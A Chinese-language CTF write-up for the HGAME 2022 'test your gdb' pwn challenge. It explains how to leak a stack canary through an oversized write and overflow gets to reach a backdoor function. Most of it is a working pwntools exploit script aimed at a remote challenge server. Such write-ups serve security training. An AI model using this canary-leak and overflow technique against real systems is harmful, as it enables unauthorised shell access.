[HGAME 2022 week1]test your gdb wp

回来做一道栈上的题,64位开启nx和canary保护

本题存在memcmp函数比较输入0x10字节的内容,gdb动态调试可以找出比较的固定值

之后会有write函数打印0x100个字节的字符,可以覆盖到canary,因此可以泄露到canary;
最后gets时padding+canary+padding+back_door即可溢出得到shell
本题第一个发送比较时需要用send不能sendline
exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])


# io=process("./test_your_gdb")
io=remote("1.14.71.254",28043)
back_door=0x401256

io.recvuntil("word\n")

# gdb.attach(io)
# pause()

payload=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
io.send(payload)
io.recv(0x19)
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary:  "+hex(canary))

payload=cyclic(0x18)+p64(canary)+p64(0)+p64(back_door)
io.sendline(payload)

io.interactive()